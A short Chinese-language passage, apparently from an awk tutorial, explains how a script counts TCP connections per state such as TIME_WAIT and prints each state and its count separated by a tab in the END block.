表示把某个数加一,如上所示的记录,就是把state[TIME_WAIT]状态的连接数加一 END 表示在最后阶段要执行的命令 for(key in state) 遍历数组 print key,"t",state[key] 打印数组的键和值,中间用t制表符分割,美化一下。